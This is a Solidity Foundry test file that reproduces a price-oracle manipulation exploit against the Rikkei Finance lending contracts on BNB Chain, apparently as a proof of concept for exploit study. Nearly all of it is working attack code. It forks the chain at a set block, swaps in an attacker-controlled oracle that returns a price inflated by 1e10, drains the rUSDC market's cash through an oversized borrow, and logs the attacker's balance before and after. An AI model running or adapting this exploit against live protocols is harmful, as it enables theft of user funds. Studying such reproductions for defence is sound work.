Rikkei_exp.sol

// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./interface.sol";

contract ContractTest is Test {
    IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
    IRToken rbnb = IRToken(0x157822aC5fa0Efe98daa4b0A55450f4a182C10cA);
    IRToken rusdc = IRToken(0x916e87d16B2F3E097B9A6375DC7393cf3B5C11f5);
    ICointroller cointroller = ICointroller(0x4f3e801Bd57dC3D641E72f2774280b21d31F64e4);
    ISimplePriceOracle simplePriceOracle = ISimplePriceOracle(0xD55f01B4B51B7F48912cD8Ca3CDD8070A1a9DBa5);
    IPriceFeed chainlinkBNBUSDPriceFeed = IPriceFeed(0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 16_956_474); //fork bsc at block 16956474
    }

    function testExploit() public {
        emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));
        rbnb.approve(address(cointroller), type(uint256).max);
        address[] memory rTokens = new address[](1);
        rTokens[0] = address(rbnb);
        cointroller.enterMarkets(rTokens);
        rbnb.mint{value: 100_000_000_000_000}();
        simplePriceOracle.setOracleData(address(rbnb), address(this));
        rusdc.borrow(rusdc.getCash());
        rusdc.transfer(msg.sender, rusdc.balanceOf(address(this)));
        simplePriceOracle.setOracleData(address(rbnb), address(chainlinkBNBUSDPriceFeed));
        emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));
    }

    function decimals() external view returns (uint8) {
        return chainlinkBNBUSDPriceFeed.decimals();
    }

    function latestRoundData()
        external
        view
        returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)
    {
        (roundId, answer, startedAt, updatedAt, answeredInRound) = chainlinkBNBUSDPriceFeed.latestRoundData();
        answer = answer * 1e10;
    }
}